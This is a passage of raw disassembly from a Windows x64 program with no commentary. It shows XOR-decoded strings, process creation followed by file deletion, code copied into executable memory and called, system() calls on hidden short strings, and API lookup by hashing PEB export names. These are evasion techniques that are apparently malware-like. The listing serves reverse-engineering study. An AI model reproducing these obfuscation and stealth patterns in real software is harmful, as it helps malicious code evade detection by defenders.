xor dil, 0x1c
mov byte [rbp + 0x830], dil
xor sil, 0x1c
mov byte [rbp + 0x831], sil
mov byte [rbp + 0x832], r14b
mov r8, rax
lea rdx, [rbp + 0x829]
lea rcx, [rbp + 0xa20]
call fcn.14004b530
nop
lea rcx, [rbp + 0x7c9]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rcx + r8], 0
jne 0x1400638e2
lea rdx, [rbp + 0x7c9]
mov rcx, rax
call fcn.140054a20
xorps xmm0, xmm0
movups xmmword [rbp + 0x8d8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x8e8], xmm1
mov rdx, rax
lea rcx, [rbp + 0x8d8]
call fcn.140052b90
nop
lea rcx, [rbp + 0xa20]
call fcn.14004f220
nop
lea rcx, [rbp + 0xa40]
call fcn.14004f220
lea rdx, [rbp + 0x8d8]
cmp qword [rbp + 0x8f0], 0x10
cmovae rdx, qword [rbp + 0x8d8]
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x1e]
lea rcx, [rbp + 0x4e0]
call fcn.14004def0
mov rax, qword [rbp + 0x4e0]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x4e0], r15
mov rax, qword [rbp + 0x4e0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x4dc], edx
mov r8, qword [rbp + 0x10]
mov rdx, qword [rbp + 8]
sub r8, rdx
lea rcx, [rbp + 0x4e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x4e8]
call fcn.140055bb0
test rax, rax
jne 0x1400639e4
mov rax, qword [rbp + 0x4e0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x4e0]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov dword [rbp + 0x340], WSAGetLastError
xorps xmm0, xmm0
movups xmmword [rbp + 0x348], xmm0
movups xmmword [rbp + 0x358], xmm0
movups xmmword [rbp + 0x368], xmm0
movups xmmword [rbp + 0x378], xmm0
movups xmmword [rbp + 0x388], xmm0
movups xmmword [rbp + 0x398], xmm0
lea rdx, [rbp + 0x8d8]
cmp qword [rbp + 0x8f0], 0x10
cmovae rdx, qword [rbp + 0x8d8]
lea rax, [rbp + 0x120]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x340]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140063dac
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rbx, qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rax, [rbp + 0x938]
cmp qword [rbp + 0x950], 0x10
cmovae rax, qword [rbp + 0x938]
mov qword [rbp + 0x38], rax
lea r14, [rbp + 0xbe8]
movabs r15, 0xff00ff00ff00ff00
mov qword [rbp + 0x28], r15
mov qword [rbp + 0x30], r14
mov rdi, qword [r14]
xor rdi, r15
mov qword [rbp + 0x20], rdi
mov qword [r14], r12
mov ecx, r12d
lea rsi, [0x14004b960]
mov rax, qword [0x14014c220]
test rax, rax
je 0x140063b19
mov rdx, r12
nop word [rax + rax]
cmp rax, rsi
je 0x140063b08
inc ecx
mov edx, ecx
mov rax, qword [r13 + rcx*8 + 0x14c220]
test rax, rax
jne 0x140063af0
jmp 0x140063b19
mov r8, qword [r13 + rdx*8 + 0x14c540]
test r8, r8
jne 0x140063bff
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140063b40
mov r8, r12
jmp 0x140063bde
mov rax, rsi
mov rcx, r8
mov edx, 3
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140063b50
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14014c210]
mov qword [r13 + rax*8 + 0x14c220], rsi
mov qword [r13 + rax*8 + 0x14c540], r8
inc rax
mov qword [0x14014c210], rax
lea rdx, [rbp + 0x38]
mov rcx, rbx
call r8
nop
xor rdi, r15
mov qword [r14], rdi
mov rbx, qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rax, [rbp + 0x8d8]
cmp qword [rbp + 0x8f0], 0x10
cmovae rax, qword [rbp + 0x8d8]
mov qword [rbp + 0x68], rax
lea r14, [rbp + 0xbe8]
mov qword [rbp + 0x248], r15
mov qword [rbp + 0x250], r14
mov rdi, qword [r14]
xor rdi, r15
mov qword [rbp + 0x240], rdi
mov qword [r14], r12
mov ecx, r12d
mov rax, qword [0x14014c220]
test rax, rax
je 0x140063c99
mov rdx, r12
nop dword [rax]
cmp rax, rsi
je 0x140063c88
inc ecx
mov edx, ecx
mov rax, qword [r13 + rcx*8 + 0x14c220]
test rax, rax
jne 0x140063c70
jmp 0x140063c99
mov r8, qword [r13 + rdx*8 + 0x14c540]
test r8, r8
jne 0x140063d7f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140063cc0
mov r8, r12
jmp 0x140063d5e
mov rax, rsi
mov rcx, r8
mov edx, 3
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140063cd0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14014c210]
mov qword [r13 + rax*8 + 0x14c220], rsi
mov qword [r13 + rax*8 + 0x14c540], r8
inc rax
mov qword [0x14014c210], rax
lea rdx, [rbp + 0x68]
mov rcx, rbx
call r8
nop
xor rdi, r15
mov qword [r14], rdi
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140063db6
movabs r15, 0xff00ff00ff00ff00
lea rcx, [rbp + 0x4e0]
call fcn.140051af0
call fcn.14005a2d0
mov byte [0x14014af23], al
test al, al
jne 0x140064140
movdqa xmm1, xmmword [0x1400da230]
movdqu xmmword [rbp + 0x640], xmm1
movdqa xmm2, xmmword [0x1400da250]
movdqu xmmword [rbp + 0x650], xmm2
mov cl, 0x79
mov dl, 0x75
mov r8b, reloc.WLDAP32.dll_Ordinal_33
mov r10b, Ordinal_41
mov r11b, Ordinal_46
movzx ebx, dl
mov dil, 0x34
mov sil, reloc.WLDAP32.dll_Ordinal_50
movzx r14d, dil
mov r15b, reloc.WLDAP32.dll_Ordinal_60
mov r12b, Ordinal_60
mov r13b, reloc.WS2_32.dll_WSACleanup
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd r9d, xmm1
xor al, r9b
mov byte [rbp + 0x641], al
xor byte [rbp + 0x642], r9b
xor byte [rbp + 0x643], r9b
xor byte [rbp + 0x644], r9b
xor byte [rbp + 0x645], r9b
xor byte [rbp + 0x646], r9b
xor byte [rbp + 0x647], r9b
xor byte [rbp + 0x648], r9b
xor byte [rbp + 0x649], r9b
xor byte [rbp + 0x64a], r9b
xor byte [rbp + 0x64b], r9b
xor byte [rbp + 0x64c], r9b
xor byte [rbp + 0x64d], r9b
xor byte [rbp + 0x64e], r9b
xor byte [rbp + 0x64f], r9b
movd eax, xmm2
xor al, r9b
mov byte [rbp + 0x650], al
xor byte [rbp + 0x651], r9b
xor byte [rbp + 0x652], r9b
xor byte [rbp + 0x653], r9b
xor byte [rbp + 0x654], r9b
xor byte [rbp + 0x655], r9b
xor byte [rbp + 0x656], r9b
xor byte [rbp + 0x657], r9b
xor byte [rbp + 0x658], r9b
xor byte [rbp + 0x659], r9b
xor byte [rbp + 0x65a], r9b
xor byte [rbp + 0x65b], r9b
xor byte [rbp + 0x65c], r9b
xor byte [rbp + 0x65d], r9b
xor byte [rbp + 0x65e], r9b
xor byte [rbp + 0x65f], r9b
xor cl, r9b
mov byte [rbp + 0x660], cl
xor dl, r9b
mov byte [rbp + 0x661], dl
xor r8b, r9b
mov byte [rbp + 0x662], r8b
xor r10b, r9b
mov byte [rbp + 0x663], r10b
xor r11b, r9b
mov byte [rbp + 0x664], r11b
xor bl, r9b
mov byte [rbp + 0x665], bl
xor dil, r9b
mov byte [rbp + 0x666], dil
xor sil, r9b
mov byte [rbp + 0x667], sil
xor r14b, r9b
mov byte [rbp + 0x668], r14b
xor r15b, r9b
mov byte [rbp + 0x669], r15b
xor r12b, r9b
mov byte [rbp + 0x66a], r12b
xor r13b, r9b
mov byte [rbp + 0x66b], r13b
mov byte [rbp + 0x66c], 0
lea rdx, [rbp + 0x641]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14004b2d0
lea rdx, [0x14004d590]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.140055200
mov qword [rsp + 0x50], 0xbb8
lea rcx, [rsp + 0x50]
call fcn.14004db60
mov rbx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
mov dword [rbp - 0x48], 1
lea rsi, [rbp + 0xbe8]
movabs r15, 0xff00ff00ff00ff00
mov qword [rbp + 0x260], r15
mov qword [rbp + 0x268], rsi
mov rdi, qword [rsi]
xor rdi, r15
mov qword [rbp + 0x258], rdi
xor r12d, r12d
mov qword [rsi], r12
mov ecx, r12d
mov rax, qword [0x14014db60]
lea r13, [0x140000000]
lea r14, [0x14004b9d0]
test rax, rax
je 0x14006404b
mov edx, r12d
cmp rax, r14
je 0x14006403a
inc ecx
mov edx, ecx
mov rax, qword [r13 + rcx*8 + 0x14db60]
test rax, rax
jne 0x140064022
jmp 0x14006404b
mov r8, qword [r13 + rdx*8 + 0x14de80]
test r8, r8
jne 0x14006412f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140064072
mov r8, r12
jmp 0x14006410e
mov rax, r14
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140064080
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14014db50]
mov qword [r13 + rax*8 + 0x14db60], r14
mov qword [r13 + rax*8 + 0x14de80], r8
inc rax
mov qword [0x14014db50], rax
lea rdx, [rbp - 0x48]
mov rcx, rbx
call r8
nop
xor rdi, r15
mov qword [rsi], rdi
mov rdx, qword [rbp + 0x8f0]
cmp rdx, 0x10
jb 0x140064184
inc rdx
mov rcx, qword [rbp + 0x8d8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006417f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006417f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c884c
movdqa xmm0, xmmword [0x1400da020]
movdqu xmmword [rbp + 0x8e8], xmm0
mov byte [rbp + 0x8d8], 0
mov rcx, qword [rbp + 8]
test rcx, rcx
je 0x1400641e4
mov rdx, qword [rbp + 0x18]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400641d3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400641d3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c884c
xorps xmm0, xmm0
movdqu xmmword [rbp + 8], xmm0
mov qword [rbp + 0x18], r12
lea rcx, [rbp + 0x938]
call fcn.14004f220
nop
lea rcx, [rbp + 0x138]
call fcn.14004f3b0
jmp 0x140064209
movabs r15, 0xff00ff00ff00ff00
movdqa xmm1, xmmword [0x1400da270]
movdqu xmmword [rbp + 0x6e0], xmm1
mov cl, 0x35
mov r8b, reloc.WLDAP32.dll_Ordinal_35
movzx r9d, r8b
mov r10b, 0x36
mov r11b, 0x25
mov bl, reloc.WLDAP32.dll_Ordinal_60
movzx edi, bl
mov sil, reloc.WLDAP32.dll_Ordinal_41
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd edx, xmm1
xor al, dl
mov byte [rbp + 0x6e1], al
xor byte [rbp + 0x6e2], dl
xor byte [rbp + 0x6e3], dl
xor byte [rbp + 0x6e4], dl
xor byte [rbp + 0x6e5], dl
xor byte [rbp + 0x6e6], dl
xor byte [rbp + 0x6e7], dl
xor byte [rbp + 0x6e8], dl
xor byte [rbp + 0x6e9], dl
xor byte [rbp + 0x6ea], dl
xor byte [rbp + 0x6eb], dl
xor byte [rbp + 0x6ec], dl
xor byte [rbp + 0x6ed], dl
xor byte [rbp + 0x6ee], dl
xor byte [rbp + 0x6ef], dl
xor cl, dl
mov byte [rbp + 0x6f0], cl
xor r8b, dl
mov byte [rbp + 0x6f1], r8b
xor r9b, dl
mov byte [rbp + 0x6f2], r9b
xor r10b, dl
mov byte [rbp + 0x6f3], r10b
xor r11b, dl
mov byte [rbp + 0x6f4], r11b
xor bl, dl
mov byte [rbp + 0x6f5], bl
xor dil, dl
mov byte [rbp + 0x6f6], dil
xor sil, dl
mov byte [rbp + 0x6f7], sil
mov byte [rbp + 0x6f8], 0
lea rdx, [rbp + 0x6e1]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14004b2d0
lea rdx, [0x14004d590]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov qword [rsp + 0x50], 0x7d0
lea rcx, [rsp + 0x50]
call fcn.14004db60
mov rbx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rbp + 0x7d8], Ordinal_60
mov al, 0x54
mov cl, 0x5b
mov dl, 0x44
xor r8d, r8d
xor al, 0x37
mov byte [rbp + 0x7d9], al
xor cl, 0x37
mov byte [rbp + 0x7da], cl
xor dl, 0x37
mov byte [rbp + 0x7db], dl
mov byte [rbp + 0x7dc], r8b
lea rax, [rbp + 0x7d9]
mov qword [rbp + 0x70], rax
lea rsi, [rbp + 0xbe8]
mov qword [rbp + 0x158], r15
mov qword [rbp + 0x160], rsi
mov rdi, qword [rsi]
xor rdi, r15
mov qword [rbp + 0x150], rdi
mov qword [rsi], r12
mov ecx, r12d
mov rax, qword [0x14014d510]
lea r14, [0x14004b960]
test rax, rax
je 0x1400643d0
mov rdx, r12
cmp rax, r14
je 0x1400643bf
inc ecx
mov edx, ecx
mov rax, qword [r13 + rcx*8 + 0x14d510]
test rax, rax
jne 0x1400643a7
jmp 0x1400643d0
mov r8, qword [r13 + rdx*8 + 0x14d830]
test r8, r8
jne 0x1400644b1
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400643f7
mov r8, r12
jmp 0x140064490
mov rax, r14
mov rcx, r8
mov edx, 3
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140064402
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14014d500]
mov qword [r13 + rax*8 + 0x14d510], r14
mov qword [r13 + rax*8 + 0x14d830], r8
inc rax
mov qword [0x14014d500], rax
lea rdx, [rbp + 0x70]
mov rcx, rbx
call r8
nop
xor rdi, r15
mov qword [rsi], rdi
cmp qword [0x14014b178], 0
jne 0x1400649de
mov byte [rbp + 0x878], 0x7a
mov al, Ordinal_60
mov cl, 0xa
mov dl, Ordinal_32
mov r8b, 2
mov r9b, 0x5a
mov r10b, 0x36
movzx r11d, dl
mov bl, Ordinal_30
movzx edi, dl
mov sil, reloc.WS2_32.dll_sendto
mov r14b, reloc.WLDAP32.dll_Ordinal_30
mov r15b, 9
xor r12d, r12d
xor al, 0x7a
mov byte [rbp + 0x879], al
xor cl, 0x7a
mov byte [rbp + 0x87a], cl
xor dl, 0x7a
mov byte [rbp + 0x87b], dl
xor r8b, 0x7a
mov byte [rbp + 0x87c], r8b
xor r9b, 0x7a
mov byte [rbp + 0x87d], r9b
xor r10b, 0x7a
mov byte [rbp + 0x87e], r10b
xor r11b, 0x7a
mov byte [rbp + 0x87f], r11b
xor bl, 0x7a
mov byte [rbp + 0x880], bl
xor dil, 0x7a
mov byte [rbp + 0x881], dil
xor sil, 0x7a
mov byte [rbp + 0x882], sil
xor r14b, 0x7a
mov byte [rbp + 0x883], r14b
xor r15b, 0x7a
mov byte [rbp + 0x884], r15b
mov byte [rbp + 0x885], r12b
mov byte [rbp + 0x868], WSAGetLastError
mov al, 0x3e
mov cl, 9
mov dl, Ordinal_32
mov r8b, Ordinal_30
mov r9b, reloc.WS2_32.dll_listen
mov r10b, reloc.WLDAP32.dll_Ordinal_27
mov r11b, 2
mov bl, 0x5c
movzx edi, bl
mov sil, 0x5d
xor al, 0x6c
mov byte [rbp + 0x869], al
xor cl, 0x6c
mov byte [rbp + 0x86a], cl
xor dl, 0x6c
mov byte [rbp + 0x86b], dl
xor r8b, 0x6c
mov byte [rbp + 0x86c], r8b
xor r9b, 0x6c
mov byte [rbp + 0x86d], r9b
xor r10b, 0x6c
mov byte [rbp + 0x86e], r10b
xor r11b, 0x6c
mov byte [rbp + 0x86f], r11b
xor bl, 0x6c
mov byte [rbp + 0x870], bl
xor dil, 0x6c
mov byte [rbp + 0x871], dil
xor sil, 0x6c
mov byte [rbp + 0x872], sil
mov byte [rbp + 0x873], r12b
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140064696
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140064696
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x5551c859
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140064691
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140064670
cmp r8d, 0xb3722d21
je 0x14006469b
test r9d, r9d
jne 0x140064650
mov rax, qword [rax]
jmp 0x140064620
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
lea rdx, [rbp + 0x879]
lea rcx, [rbp + 0x869]
call r8
mov qword [0x14014b178], rax
test rax, rax
jne 0x1400649de
movdqa xmm1, xmmword [0x1400da280]
movdqu xmmword [rbp + 0x5f0], xmm1
movdqa xmm2, xmmword [0x1400da1d0]
movdqu xmmword [rbp + 0x600], xmm2
mov r8b, WSAStartup
movzx r9d, r8b
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd edx, xmm1
xor al, dl
mov byte [rbp + 0x5f1], al
xor byte [rbp + 0x5f2], dl
xor byte [rbp + 0x5f3], dl
xor byte [rbp + 0x5f4], dl
xor byte [rbp + 0x5f5], dl
xor byte [rbp + 0x5f6], dl
xor byte [rbp + 0x5f7], dl
xor byte [rbp + 0x5f8], dl
xor byte [rbp + 0x5f9], dl
xor byte [rbp + 0x5fa], dl
xor byte [rbp + 0x5fb], dl
xor byte [rbp + 0x5fc], dl
xor byte [rbp + 0x5fd], dl
xor byte [rbp + 0x5fe], dl
xor byte [rbp + 0x5ff], dl
movd eax, xmm2
xor al, dl
mov byte [rbp + 0x600], al
xor byte [rbp + 0x601], dl
xor byte [rbp + 0x602], dl
xor byte [rbp + 0x603], dl
xor byte [rbp + 0x604], dl
xor byte [rbp + 0x605], dl
xor byte [rbp + 0x606], dl
xor byte [rbp + 0x607], dl
xor byte [rbp + 0x608], dl
xor byte [rbp + 0x609], dl
xor byte [rbp + 0x60a], dl
xor byte [rbp + 0x60b], dl
xor byte [rbp + 0x60c], dl
xor byte [rbp + 0x60d], dl
xor byte [rbp + 0x60e], dl
xor byte [rbp + 0x60f], dl
xor r8b, dl
mov byte [rbp + 0x610], r8b
xor r9b, dl
mov byte [rbp + 0x611], r9b
mov byte [rbp + 0x612], r12b
lea rdx, [rbp + 0x5f1]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14004b2d0
lea rdx, [0x14004d590]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov qword [rsp + 0x50], 0x1b58
lea rcx, [rsp + 0x50]
call fcn.14004db60
mov rbx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rbp + 0x7f0], 0x47
mov al, 0x24
mov cl, 0x2b
mov dl, 0x34
xor r8d, r8d
xor al, 0x47
mov byte [rbp + 0x7f1], al
xor cl, 0x47
mov byte [rbp + 0x7f2], cl
xor dl, 0x47
mov byte [rbp + 0x7f3], dl
mov byte [rbp + 0x7f4], r8b
lea rax, [rbp + 0x7f1]
mov qword [rbp + 0x78], rax
movabs r15, 0xff00ff00ff00ff00
mov qword [rbp + 0x170], r15
lea rsi, [rbp + 0xbe8]
mov qword [rbp + 0x178], rsi
mov rdi, qword [rsi]
xor rdi, r15
mov qword [rbp + 0x168], rdi
mov qword [rsi], r12
mov ecx, r12d
mov rax, qword [0x14014d510]
lea r14, [0x14004b960]
test rax, rax
je 0x1400648d9
mov rdx, r12
nop word [rax + rax]
cmp rax, r14
je 0x1400648c8
inc ecx
mov edx, ecx
mov rax, qword [r13 + rcx*8 + 0x14d510]
test rax, rax
jne 0x1400648b0
jmp 0x1400648d9
mov r8, qword [r13 + rdx*8 + 0x14d830]
test r8, r8
jne 0x1400649bf
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140064900
mov r8, r12
jmp 0x14006499e
mov rax, r14
mov rcx, r8
mov edx, 3
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140064910
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
